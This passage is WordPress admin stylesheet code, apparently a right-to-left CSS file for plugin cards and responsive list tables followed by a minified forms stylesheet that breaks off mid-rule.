.plugins .plugin-title .dashicons:before {
	padding: 2px;
	background-color: #f0f0f1;
	box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15);
	font-size: 60px;
	color: #c3c4c7;
}

#update-themes-table .plugin-title img,
#update-themes-table .plugin-title .dashicons {
	width: 85px;
}

.plugins .column-auto-updates {
	width: 14.2em;
}

.plugins .inactive .plugin-title strong {
	font-weight: 400;
}

.plugins .second,
.plugins .row-actions {
	padding: 0 0 5px;
}

.plugins .row-actions {
	white-space: normal;
	min-width: 12em;
}

.plugins .update .second,
.plugins .update .row-actions,
.plugins .updated .second,
.plugins .updated .row-actions {
	padding-bottom: 0;
}

.plugins-php .widefat tfoot th,
.plugins-php .widefat tfoot td {
	border-top-style: solid;
	border-top-width: 1px;
}

.plugins .plugin-update-tr .plugin-update {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden; /* clearfix */
	padding: 0;
}

.plugins .plugin-update-tr .notice,
.plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */
	margin: 5px 40px 15px 20px;
}

.plugins .notice p {
	margin: 0.5em 0;
}

.plugins .plugin-description a,
.plugins .plugin-update a,
.updates-table .plugin-title a {
	text-decoration: underline;
}

.plugins tr.paused th.check-column {
	border-right: 4px solid #b32d2e;
}

.plugins tr.paused th,
.plugins tr.paused td {
	background-color: #f6f7f7;
}

.plugins tr.paused .plugin-title,
.plugins .paused .dashicons-warning {
	color: #b32d2e;
}

.plugins .paused .error-display p,
.plugins .paused .error-display code {
	font-size: 90%;
	color: rgba(0, 0, 0, 0.7);
}

.plugins .resume-link {
	color: #b32d2e;
}

.plugin-card .update-now:before {
	color: #d63638;
	content: "\f463";
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: -3px -2px 0 5px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}

.plugin-card .updating-message:before {
	content: "\f463";
	animation: rotation 2s infinite linear;
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(-359deg);
	}
}

.plugin-card .updated-message:before {
	color: #68de7c;
	content: "\f147";
}

.plugin-install-php #the-list {
	display: flex;
	flex-wrap: wrap;
}

.plugin-install-php .plugin-card {
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.plugin-install-php h2 {
	clear: both;
}

.plugin-install-php h3 {
	margin: 2.5em 0 8px;
}

.plugin-install-php .wp-filter {
	margin-bottom: 0;
}

/* Plugin card table view */
.plugin-group {
	overflow: hidden; /* clearfix */
	margin-top: 1.5em;
}

.plugin-group h3 {
	margin-top: 0;
}

.plugin-card {
	float: right;
	margin: 0 8px 16px;
	width: 48.5%;
	width: calc( 50% - 8px );
	background-color: #fff;
	border: 1px solid #dcdcde;
	box-sizing: border-box;
}

.plugin-card:nth-child(odd) {
	clear: both;
	margin-right: 0;
}

.plugin-card:nth-child(even) {
	margin-left: 0;
}

@media screen and (min-width: 1600px) and ( max-width: 2299px ) {
	.plugin-card {
		width: 30%;
		width: calc( 33.1% - 8px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-right: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-left: 8px;
	}

	.plugin-card:nth-child(3n+1) {
		clear: both;
		margin-right: 0;
	}

	.plugin-card:nth-child(3n) {
		margin-left: 0;
	}
}

@media screen and (min-width: 2300px) {
	.plugin-card {
		width: 25%;
		width: calc( 25% - 12px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-right: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-left: 8px;
	}

	.plugin-card:nth-child(4n+1) {
		clear: both;
		margin-right: 0;
	}

	.plugin-card:nth-child(4n) {
		margin-left: 0;
	}
}

.plugin-card-top {
	position: relative;
	padding: 20px 20px 10px;
	min-height: 135px;
}

div.action-links,
.plugin-action-buttons {
	margin: 0; /* Override existing margins */
}

.plugin-card h3 {
	margin: 0 0 12px 12px;
	font-size: 18px;
	line-height: 1.3;
}

.plugin-card .desc {
	margin-inline: 0;
}

.plugin-card .name, .plugin-card .desc > p {
	margin-right: 148px;
}

@media (min-width: 1101px) {
	.plugin-card .name, .plugin-card .desc > p {
		margin-left: 128px;
	}
}

@media (min-width: 481px) and (max-width: 781px) {
	.plugin-card .name, .plugin-card .desc > p {
		margin-left: 128px;
	}
}

.plugin-card .column-description {
	display: flex;
	flex-direction: column;
	justify-content: flex-start;
}

.plugin-card .column-description > p {
	margin-top: 0;
}

.plugin-card .column-description p:empty {
	display: none;
}

.plugin-card .notice.plugin-dependencies {
	margin: auto 20px 20px;
	padding: 15px;
}

.plugin-card .plugin-dependencies-explainer-text {
	margin-block: 0;
}

.plugin-card .plugin-dependency {
	align-items: center;
	display: flex;
	flex-wrap: wrap;
	margin-top: .5em;
	column-gap: 1%;
	row-gap: .5em;
}

.plugin-card .plugin-dependency:nth-child(2),
.plugin-card .plugin-dependency:last-child {
	margin-top: 1em;
}

.plugin-card .plugin-dependency-name {
	flex-basis: 74%;
}

.plugin-card .plugin-dependency .more-details-link {
	margin-right: auto;
}

.rtl .plugin-card .plugin-dependency .more-details-link {
	margin-left: auto;
}

@media (max-width: 939px) {
	.plugin-card .plugin-dependency-name {
		flex-basis: 69%;
	}
}

.plugins #the-list .required-by,
.plugins #the-list .requires {
	margin-top: 1em;
}

.plugin-card .action-links {
	position: absolute;
	top: 20px;
	left: 20px;
	width: 120px;
}

.plugin-action-buttons {
	clear: left;
	float: left;
	margin-bottom: 1em;
	text-align: left;
}

.plugin-action-buttons li {
	margin-bottom: 10px;
}

.plugin-card-bottom {
	clear: both;
	padding: 12px 20px;
	background-color: #f6f7f7;
	border-top: 1px solid #dcdcde;
	overflow: hidden;
}

.plugin-card-bottom .star-rating {
	display: inline;
}

.plugin-card-update-failed .update-now {
	font-weight: 600;
}

.plugin-card-update-failed .notice-error {
	margin: 0;
	padding-right: 16px;
	box-shadow: 0 -1px 0 #dcdcde;
}

.plugin-card-update-failed .plugin-card-bottom {
	display: none;
}

.plugin-card .column-rating {
	line-height: 1.76923076;
}

.plugin-card .column-rating,
.plugin-card .column-updated {
	margin-bottom: 4px;
}

.plugin-card .column-rating,
.plugin-card .column-downloaded {
	float: right;
	clear: right;
	max-width: 180px;
}

.plugin-card .column-updated,
.plugin-card .column-compatibility {
	text-align: left;
	float: left;
	clear: left;
	width: 65%;
	width: calc( 100% - 180px );
}

.plugin-card .column-compatibility span:before {
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	right: -2px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

.plugin-card .column-compatibility .compatibility-incompatible:before {
	content: "\f158";
	color: #d63638;
}

.plugin-card .column-compatibility .compatibility-compatible:before {
	content: "\f147";
	color: #007017;
}

.plugin-card .notice {
	margin: 20px 20px 0;
}

.plugin-icon {
	position: absolute;
	top: 20px;
	right: 20px;
	width: 128px;
	height: 128px;
	margin: 0 0 20px 20px;
}

.no-plugin-results {
	color: #646970; /* same as no themes and no media */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0 0;
	width: 100%;
	text-align: center;
}

/* ms */
/* Background Color for Site Status */
.wp-list-table .site-deleted,
.wp-list-table tr.site-deleted,
.wp-list-table .site-archived,
.wp-list-table tr.site-archived {
	background: #fcf0f1;
}
.wp-list-table .site-spammed,
.wp-list-table tr.site-spammed,
.wp-list-table .site-mature,
.wp-list-table tr.site-mature {
	background: #fcf9e8;
}

.sites.fixed .column-lastupdated,
.sites.fixed .column-registered {
	width: 20%;
}

.sites.fixed .column-users {
	width: 80px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) {
	.plugin-card .action-links {
		position: static;
		margin-right: 148px;
		width: auto;
	}

	.plugin-action-buttons {
		float: none;
		margin: 1em 0 0;
		text-align: right;
	}

	.plugin-action-buttons li {
		display: inline-block;
		vertical-align: middle;
	}

	.plugin-action-buttons li .button {
		margin-left: 20px;
	}

	.plugin-card h3 {
		margin-left: 24px;
	}

	.plugin-card .name,
	.plugin-card .desc {
		margin-left: 0;
	}

	.plugin-card .desc p:first-of-type {
		margin-top: 0;
	}
}

@media screen and (max-width: 782px) {
	/* WP List Table Options & Filters */
	.tablenav {
		height: auto;
	}

	.tablenav.top {
		margin: 20px 0 5px;
	}

	.tablenav.bottom {
		position: relative;
		margin-top: 15px;
	}

	.tablenav br {
		display: none;
	}

	.tablenav br.clear {
		display: block;
	}

	.tablenav.top .actions,
	.tablenav .view-switch {
		display: none;
	}

	.view-switch a {
		width: 36px;
		height: 36px;
		line-height: 2.53846153;
	}

	/* Pagination */
	.tablenav.top .displaying-num {
		display: none;
	}

	.tablenav.bottom .displaying-num {
		position: absolute;
		left: 0;
		top: 11px;
		margin: 0;
		font-size: 14px;
	}

	.tablenav .tablenav-pages {
		width: 100%;
		text-align: center;
		margin: 0 0 25px;
	}

	.tablenav.bottom .tablenav-pages {
		margin-top: 25px;
	}

	.tablenav.top .tablenav-pages.one-page {
		display: none;
	}

	.tablenav.bottom .actions select {
		margin-bottom: 5px;
	}

	.tablenav.bottom .actions.alignleft + .actions.alignleft {
		clear: right;
		margin-top: 10px;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		margin-top: 15px;
		height: 0;
	}

	.tablenav-pages .pagination-links {
		font-size: 16px;
	}

	.tablenav .tablenav-pages .button,
	.tablenav .tablenav-pages .tablenav-pages-navspan {
		min-width: 44px;
		padding: 12px 8px;
		font-size: 18px;
		line-height: 1;
	}

	.tablenav-pages .pagination-links .current-page {
		min-width: 44px;
		padding: 12px 6px;
		font-size: 16px;
		line-height: 1.125;
	}

	/* WP List Table Adjustments: General */
	.form-wrap > p {
		display: none;
	}

	.wp-list-table th.column-primary ~ th,
	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		display: none;
	}

	.wp-list-table thead th.column-primary {
		width: 100%;
	}

	/* Checkboxes need to show */
	.wp-list-table tr th.check-column {
		display: table-cell;
	}

	.wp-list-table .check-column {
		width: 2.5em;
	}

	.wp-list-table .column-primary .toggle-row {
		display: block;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) {
		position: relative;
		clear: both;
		width: auto !important; /* needs to override some columns that are more specifically targeted */
	}

	.wp-list-table td.column-primary {
		padding-left: 50px; /* space for toggle button */
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
		padding: 3px 35% 3px 8px;
	}

	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
		position: absolute;
		right: 10px; /* match padding of regular table cell */
		display: block;
		overflow: hidden;
		width: 32%; /* leave a little space for a gutter */
		content: attr(data-colname);
		white-space: nowrap;
		text-overflow: ellipsis;
	}

	.wp-list-table .is-expanded td:not(.hidden) {
		display: block !important;
		overflow: hidden; /* clearfix */
	}

	/* Special cases */
	.widefat .num,
	.column-posts {
		text-align: right;
	}

	#comments-form .fixed .column-author,
	#commentsdiv .fixed .column-author {
		display: none !important;
	}

	.fixed .column-comment .comment-author {
		display: block;
	}

	/* Comment author hidden via Screen Options */
	.fixed .column-author.hidden ~ .column-comment .comment-author {
		display: none;
	}

	#the-comment-list .is-expanded td {
		box-shadow: none;
	}

	#the-comment-list .is-expanded td:last-child {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	/* Show comment bubble as text instead */
	.post-com-count .screen-reader-text {
		position: static;
		-webkit-clip-path: none;
		clip-path: none;
		width: auto;
		height: auto;
		margin: 0;
	}

	.column-response .post-com-count-no-comments:after,
	.column-response .post-com-count-approved:after,
	.column-comments .post-com-count-no-comments:after,
	.column-comments .post-com-count-approved:after {
		content: none;
	}

	.column-response .post-com-count [aria-hidden="true"],
	.column-comments .post-com-count [aria-hidden="true"] {
		display: none;
	}

	.column-response .post-com-count-wrapper,
	.column-comments .post-com-count-wrapper {
		white-space: normal;
	}

	.column-response .post-com-count-wrapper > a,
	.column-comments .post-com-count-wrapper > a {
		display: block;
	}

	.column-response .post-com-count-no-comments,
	.column-response .post-com-count-approved,
	.column-comments .post-com-count-no-comments,
	.column-comments .post-com-count-approved {
		margin-top: 0;
		margin-left: 0.5em;
	}

	.column-response .post-com-count-pending,
	.column-comments .post-com-count-pending {
		position: static;
		height: auto;
		min-width: 0;
		padding: 0;
		border: none;
		border-radius: 0;
		background: none;
		color: #b32d2e;
		font-size: inherit;
		line-height: inherit;
		text-align: right;
	}

	.column-response .post-com-count-pending:hover,
	.column-comments .post-com-count-pending:hover {
		color: #d63638;
	}

	.widefat thead td.check-column,
	.widefat tfoot td.check-column {
		padding-top: 10px;
	}

	.row-actions {
		margin-right: -8px;
		margin-left: -8px;
		padding-top: 4px;
	}

	/* Make row actions more easy to select on mobile */
	body:not(.plugins-php) .row-actions {
		display: flex;
		flex-wrap: wrap;
		gap: 8px;
		color: transparent;
	}

	.row-actions span a,
	.row-actions span .button-link {
		display: inline-block;
		padding: 4px 8px;
		line-height: 1.5;
	}

	.row-actions span.approve:before,
	.row-actions span.unapprove:before {
		content: "| ";
	}

	/* Quick Edit and Bulk Edit */
	#wpbody-content .quick-edit-row-post .inline-edit-col-left,
	#wpbody-content .quick-edit-row-post .inline-edit-col-right,
	#wpbody-content .inline-edit-row-post .inline-edit-col-center,
	#wpbody-content .quick-edit-row-page .inline-edit-col-left,
	#wpbody-content .quick-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row-post .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-left,
	#wpbody-content .bulk-edit-row-page .inline-edit-col-right,
	#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
		float: none;
		width: 100%;
		padding: 0;
	}

	#the-list .inline-edit-row .inline-edit-legend,
	.inline-edit-row span.title {
		font-size: 16px;
	}

	.inline-edit-row p.howto {
		font-size: 14px;
	}

	#wpbody-content .inline-edit-row-page .inline-edit-col-right {
		margin-top: 0;
	}

	#wpbody-content .quick-edit-row fieldset .inline-edit-col label,
	#wpbody-content .quick-edit-row fieldset .inline-edit-group label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,
	#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
		max-width: none;
		float: none;
		margin-bottom: 5px;
	}

	#wpbody .bulk-edit-row fieldset select {
		display: block;
		width: 100%;
		max-width: none;
		box-sizing: border-box;
	}

	.inline-edit-row fieldset input[name=jj],
	.inline-edit-row fieldset input[name=hh],
	.inline-edit-row fieldset input[name=mn],
	.inline-edit-row fieldset input[name=aa] {
		font-size: 16px;
		line-height: 2;
		padding: 3px 4px;
	}

	#bulk-titles .ntdelbutton,
	#bulk-titles .ntdeltitle,
	.inline-edit-row fieldset ul.cat-checklist label {
		padding: 6px 0;
		font-size: 16px;
		line-height: 28px;
	}

	#bulk-titles .ntdelitem {
		padding-right: 37px;
	}

	#bulk-titles .ntdelbutton {
		width: 40px;
		height: 40px;
		margin: 0 -40px 0 0;
		overflow: hidden;
	}

	#bulk-titles .ntdelbutton:before {
		font-size: 20px;
		line-height: 28px;
	}

	.inline-edit-row fieldset label span.title,
	.inline-edit-row fieldset.inline-edit-date legend {
		float: none;
	}

	.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags {
		padding: 0;
	}

	.inline-edit-row fieldset label span.input-text-wrap,
	.inline-edit-row fieldset .timestamp-wrap {
		margin-right: 0;
	}

	.inline-edit-row .inline-edit-or {
		margin: 0 0 0 6px;
	}

	#edithead .inside,
	#commentsdiv #edithead .inside {
		float: none;
		text-align: right;
		padding: 3px 5px;
	}

	#commentsdiv #edithead .inside input,
	#edithead .inside input {
		width: 100%;
	}

	#edithead label {
		display: block;
	}

	/* Updates */
	#wpbody-content .updates-table .plugin-title {
		width: auto;
		white-space: normal;
	}

	/* Links */
	.link-manager-php #posts-filter {
		margin-top: 25px;
	}

	.link-manager-php .tablenav.bottom {
		overflow: hidden;
	}

	/* List tables that don't toggle rows */
	.comments-box .toggle-row,
	.wp-list-table.plugins .toggle-row {
		display: none;
	}

	/* Plugin/Theme Management */
	#wpbody-content .wp-list-table.plugins td {
		display: block;
		width: auto;
		padding: 10px 9px; /* reset from other list tables that have a label at this width */
	}

	#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td,
	#wpbody-content .wp-list-table.plugins .no-items td {
		display: table-cell;
	}

	/* Plugin description hidden via Screen Options */
	#wpbody-content .wp-list-table.plugins .desc.hidden {
		display: none;
	}

	#wpbody-content .wp-list-table.plugins .column-description {
		padding-top: 2px;
	}

	#wpbody-content .wp-list-table.plugins .plugin-title,
	#wpbody-content .wp-list-table.plugins .theme-title {
		padding-left: 12px;
		white-space: normal;
	}

	.wp-list-table.plugins .plugin-title,
	.wp-list-table.plugins .theme-title {
		padding-top: 13px;
		padding-bottom: 4px;
	}

	.plugins #the-list tr > td:not(:last-child),
	.plugins #the-list .update th,
	.plugins #the-list .update td,
	.wp-list-table.plugins #the-list .theme-title {
		box-shadow: none;
		border-top: none;
	}

	.plugins #the-list tr td {
		border-top: none;
	}

	.plugins tbody {
		padding: 1px 0 0;
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td.column-description,
	.plugins .plugin-update-tr:before {
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugins tr.active + tr.inactive th.check-column,
	.plugins tr.active + tr.inactive td {
		border-top: none;
	}

	/* mimic the checkbox th */
	.plugins .plugin-update-tr:before {
		content: "";
		display: table-cell;
	}

	.plugins #the-list .plugin-update-tr .plugin-update {
		border-right: none;
	}

	.plugin-update-tr .update-message {
		margin-right: 0;
	}

	.plugins .active.update + .plugin-update-tr:before,
	.plugins .active.updated + .plugin-update-tr:before {
		background-color: #f0f6fc;
		border-right: 4px solid #72aee6;
	}

	.plugins .plugin-update-tr .update-message {
		margin-right: 0;
	}

	.wp-list-table.plugins .plugin-title strong,
	.wp-list-table.plugins .theme-title strong {
		font-size: 1.4em;
		line-height: 1.5;
	}

	.plugins tbody th.check-column {
		padding: 8px 5px 0 0;
	}

	.plugins thead td.check-column,
	.plugins tfoot td.check-column,
	.plugins .inactive th.check-column {
		padding-right: 9px;
	}

	/* Add New plugins page */
	table.plugin-install .column-name,
	table.plugin-install .column-version,
	table.plugin-install .column-rating,
	table.plugin-install .column-description {
		display: block;
		width: auto;
	}

	table.plugin-install th.column-name,
	table.plugin-install th.column-version,
	table.plugin-install th.column-rating,
	table.plugin-install th.column-description {
		display: none;
	}

	table.plugin-install td.column-name strong {
		font-size: 1.4em;
		line-height: 1.6em;
	}

	table.plugin-install #the-list td {
		box-shadow: none;
	}

	table.plugin-install #the-list tr {
		display: block;
		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	}

	.plugin-card {
		margin-right: 0;
		margin-left: 0;
		width: 100%;
	}

	table.media .column-title .has-media-icon ~ .row-actions {
		margin-right: 0;
		clear: both;
	}
}

@media screen and (max-width: 480px) {
	.tablenav-pages .current-page {
		margin: 0;
	}

	.tablenav.bottom .displaying-num {
		position: relative;
		top: 0;
		display: block;
		text-align: left;
		padding-bottom: 0.5em;
	}

	.tablenav.bottom .tablenav-pages.one-page {
		height: auto;
	}

	.tablenav-pages .tablenav-paging-text {
		float: right;
		width: 100%;
		padding-top: 0.5em;
	}
}
/*! This file is auto-generated */
button,input,select,textarea{box-sizing:border-box;font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea{font-size:14px}textarea{overflow:auto;padding:2px 6px;line-height:1.42857143;resize:vertical}input,select{margin:0 1px}textarea.code{padding:4px 6px 1px}input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{padding:0 8px;line-height:2;min-height:30px}::-webkit-datetime-edit{line-height:1.85714286}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}input[type=email],input[type=url]{direction:ltr}input[type=checkbox],input[type=radio]{border:1px solid #8c8f94;border-radius:4px;background:#fff;color:#50575e;clear:none;cursor:pointer;display:inline-block;line-height:0;height:1rem;margin:-.25rem 0 0 .25rem;outline:0;padding:0!important;text-align:center;vertical-align:middle;width:1rem;min-width:1rem;-webkit-appearance:none;box-shadow:inset 0 1px 2px rgba(0,0,0,.1);transition:.05s border-color ease-in-out}input[type=radio]:checked+label:before{color:#8c8f94}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#135e96}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio],td>input[type=checkbox]{margin-top:0}.wp-admin p label input[type=checkbox]{margin-top:-4px}.wp-admin p label input[type=radio]{margin-top:-2px}input[type=radio]{border-radius:50%;margin-left:.25rem;line-height:.71428571}input[type=checkbox]:checked::before,input[type=radio]:checked::before{float:right;display:inline-block;vertical-align:middle;width:1rem;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");margin:-.1875rem -.25rem 0 0;height:1.3125rem;width:1.3125rem}input[type=radio]:checked::before{content:"";border-radius:50%;width:.5rem;height:.5rem;margin:.1875rem;background-color:#3582c4;line-height:1.14285714}@-moz-document url-prefix(){.form-table input.tog,input[type=checkbox],input[type=radio]{margin-bottom:-1px}}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-decoration{display:none}.wp-admin input[type=file]{padding:3px 0;cursor:pointer}input.readonly,input[readonly],textarea.readonly,textarea[readonly]{background-color:#f0f0f1}::-webkit-input-placeholder{color:#646970}::-moz-placeholder{color:#646970;opacity:1}:-ms-input-placeholder{color:#646970}.form-invalid .form-required,.form-invalid .form-required:focus,.form-invalid.form-required input,.form-invalid.form-required input:focus,.form-invalid.form-required select,.form-invalid.form-required select:focus{border-color:#d63638!important;box-shadow:0 0 2px rgba(214,54,56,.8)}.form-table .form-required.form-invalid td:after{content:"\f534";font:normal 20px/1 dashicons;color:#d63638;margin-right:-25px;vertical-align:middle}.form-table .form-required.user-pass1-wrap.form-invalid td:after{content:""}.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after{content:"\f534";font:normal 20px/1 dashicons;color:#d63638;margin:0 -29px 0 6px;vertical-align:middle}.form-input-tip{color:#646970}input.disabled,input:disabled,select.disabled,select:disabled,textarea.disabled,textarea:disabled{background:rgba(255,255,255,.5);border-color:rgba(220,220,222,.75);box-shadow:inset 0 1px 2px rgba(0,0,0,.04);color:rgba(44,51,56,.5)}input[type=file].disabled,input[type=file]:disabled,input[type=file][aria-disabled=true],input[type=range].disabled,input[type=range]:disabled,input[type=range][aria-disabled=true]{background:0 0;box-shadow:none;cursor:default}input[type=checkbox].disabled,input[type=checkbox].disabled:checked:before,input[type=checkbox]:disabled,input[type=checkbox]:disabled:checked:before,input[type=checkbox][aria-disabled=true],input[type=radio].disabled,input[type=radio].disabled:checked:before,input[type=radio]:disabled,input[type=radio]:disabled:checked:before,input[type=radio][aria-disabled=true]{opacity:.7;cursor:default}.wp-core-ui select{font-size:14px;line-height:2;color:#2c3338;border-color:#8c8f94;box-shadow:none;border-radius:3px;padding:0 8px 0 24px;min-height:30px;max-width:25rem;-webkit-appearance:none;background:#fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E') no-repeat left 5px top 55%;background-size:16px 16px;cursor:pointer;vertical-align:middle}.wp-core-ui select:hover{color:#2271b1}.wp-core-ui select:focus{border-color:#2271b1;color:#0a4b78;box-shadow:0 0 0 1px #2271b1}.wp-core-ui select:active{border-color:#8c8f94;box-shadow:none}.wp-core-ui select.disabled,.wp-core-ui select:disabled{color:#a7aaad;border-color:#dcdcde;background-color:#f6f7f7;background-image:url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.wp-core-ui select[aria-disabled=true]{cursor:default}.wp-core-ui select:-moz-focusring{color:transparent;text-shadow:0 0 0 #0a4b78}.wp-core-ui select::-ms-value{background:0 0;color:#50575e}.wp-core-ui select:hover::-ms-value{color:#2271b1}.wp-core-ui select:focus::-ms-value{color:#0a4b78}.wp-core-ui select.disabled::-ms-value,.wp-core-ui select:disabled::-ms-value{color:#a7aaad}.wp-core-ui select::-ms-expand{display:none}.wp-admin .button-cancel{display:inline-block;min-height:28px;padding:0 5px;line-height:2}.meta-box-sortables select{max-width:100%}.meta-box-sortables input{vertical-align:middle}.misc-pub-post-status select{margin-top:0}.wp-core-ui select[multiple]{height:auto;padding-left:8px;background:#fff}.submit{padding:1.5em 0;margin:5px 0;border-bottom-right-radius:3px;border-bottom-left-radius:3px;border:none}form p.submit a.cancel:hover{text-decoration:none}p.submit{text-align:right;max-width:100%;margin-top:20px;padding-top:10px}.textright p.submit{border:none;text-align:left}table.form-table+input+input+p.submit,table.form-table+input+p.submit,table.form-table+p.submit{border-top:none;padding-top:0}#major-publishing-actions input,#minor-publishing-actions .preview,#minor-publishing-actions input{text-align:center}input.all-options,textarea.all-options{width:250px}input.large-text,textarea.large-text{width:99%}.regular-text{width:25em}input.small-text{width:50px;padding:0 6px}label input.small-text{margin-top:-4px}input[type=number].small-text{width:65px;padding-left:0}input.tiny-text{width:35px}input[type=number].tiny-text{width:45px;padding-left:0}#doaction,#doaction2,#post-query-submit{margin:0 0 0 8px}.no-js input#changeit2,.no-js input#doaction2,.no-js label[for=bulk-action-selector-bottom],.no-js label[for=new_role2],.no-js select#bulk-action-selector-bottom,.no-js select#new_role2{display:none}.tablenav .actions select{float:right;margin-left:6px;max-width:12.5rem}#timezone_string option{margin-right:1em}.wp-cancel-pw>.dashicons,.wp-hide-pw>.dashicons{position:relative;top:3px;width:1.25rem;height:1.25rem;top:.25rem;font-size:20px}.wp-cancel-pw .dashicons-no{display:none}#your-profile label+a,label{vertical-align:middle}#your-profile label+a,fieldset label{vertical-align:middle}.options-media-php [for*="_size_"]{min-width:10em;vertical-align:baseline}.options-media-php .small-text[name*="_size_"]{margin:0 0 1em}.wp-generate-pw{margin-top:1em;position:relative}.wp-pwd button{height:min-content}.wp-pwd button.pwd-toggle .dashicons{position:relative;top:.25rem}.wp-pwd{margin-top:1em;position:relative}.mailserver-pass-wrap .wp-pwd{display:inline-block;margin-top:0}#mailserver_pass{padding-right:2.5rem}.mailserver-pass-wrap .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;min-width:40px;margin:0;padding:0 9px;position:absolute;right:0;top:0}.mailserver-pass-wrap .button.wp-hide-pw:hover{background:0 0;border-color:transparent}.mailserver-pass-wrap .button.wp-hide-pw:focus{background:0 0;border-color:#3582c4;border-radius:4px;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.mailserver-pass-wrap .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}#misc-publishing-actions label{vertical-align:baseline}#pass-strength-result{background-color:#f0f0f1;border:1px solid #dcdcde;color:#1d2327;margin:-1px 1px 5px;padding:3px 5px;text-align:center;width:25em;box-sizing:border-box;opacity:0}#pass-strength-result.short{background-color:#ffabaf;border-color:#e65054;opacity:1}#pass-strength-result.bad{background-color:#facfd2;border-color:#f86368;opacity:1}#pass-strength-result.good{background-color:#f5e6ab;border-color:#f0c33c;opacity:1}#pass-strength-result.strong{background-color:#b8e6bf;border-color:#68de7c;opacity:1}.password-input-wrapper{display:inline-block}.password-input-wrapper input{font-family:Consolas,Monaco,monospace}#pass1-text.short,#pass1.short{border-color:#e65054}#pass1-text.bad,#pass1.bad{border-color:#f86368}#pass1-text.good,#pass1.good{border-color:#f0c33c}#pass1-text.strong,#pass1.strong{border-color:#68de7c}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.pw-weak{display:none}.indicator-hint{padding-top:8px}.wp-pwd [type=password],.wp-pwd 